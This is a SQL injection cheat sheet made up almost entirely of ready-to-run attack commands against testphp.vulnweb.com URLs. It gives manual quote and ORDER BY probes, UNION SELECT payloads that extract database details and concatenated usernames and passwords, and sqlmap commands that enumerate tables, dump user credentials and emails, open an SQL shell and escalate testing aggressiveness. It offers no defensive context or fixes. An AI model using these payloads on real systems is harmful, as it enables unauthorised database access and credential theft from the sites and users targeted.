SQL Injection Quick Reference

Manual Testing Basics

Vulnerability Detection

```bash
# Test for errors
http://testphp.vulnweb.com/artists.php?artist=1'

# Different quote types
artist=1"
artist=1')
```

Column Enumeration

```bash
# Find column count with ORDER BY
http://testphp.vulnweb.com/artists.php?artist=1 ORDER BY 1
http://testphp.vulnweb.com/artists.php?artist=1 ORDER BY 2
http://testphp.vulnweb.com/artists.php?artist=1 ORDER BY 3
# Continue until error occurs
```

UNION Attacks

```bash
```

```
# Test UNION syntax
http://testphp.vulnweb.com/artists.php?artist=1 \
UNION SELECT 1,2,3

# Extract with negative ID
http://testphp.vulnweb.com/artists.php?artist=-1 \
UNION SELECT 1,2,3

# Database information
http://testphp.vulnweb.com/artists.php?artist=-1 \
UNION SELECT 1,database(),version()

# Extract user data
http://testphp.vulnweb.com/artists.php?artist=-1 \
UNION SELECT 1,group_concat(uname,':',pass),3 FROM users
```

SQLMap Automation

Basic Detection

bash

```
# Simple vulnerability scan
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \
--batch

# Fast discovery
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \
--batch --smart
```

Database Enumeration

bash

```bash
# Get database info
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \
--current-user --current-db --dbs --batch

# List tables
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \
-D acuart --tables --batch

# Get columns
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \
-D acuart -T users --columns --batch
```

Data Extraction

```bash
# Dump user credentials
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \
-D acuart -T users -C uname,pass,email --dump --batch

# SQL shell access
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \
--sql-shell --batch
```

Specific Techniques

```bash
# Boolean injection only
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \
--technique=B --batch

# UNION injection only
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \
--technique=U --batch

# Aggressive testing
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \
--level=3 --risk=2 --batch
```

Common Target URLs

```bash
# testphp.vulnweb.com targets
http://testphp.vulnweb.com/artists.php?artist=1
http://testphp.vulnweb.com/listproducts.php?cat=1
http://testphp.vulnweb.com/search.php?test=query
```

Troubleshooting

Manual Issues

- No error messages? Try different quote types: `'` `"` `')`
- UNION not working? Double-check column count with ORDER BY
- Use negative IDs: `artist=-1` instead of `artist=1`

SQLMap Issues

- No injection found? Try `--level=5 --risk=3`
- Connection timeouts? Add `--threads=1 --delay=2`
- Can't crack passwords? Use `--dict=/usr/share/wordlists/rockyou.txt`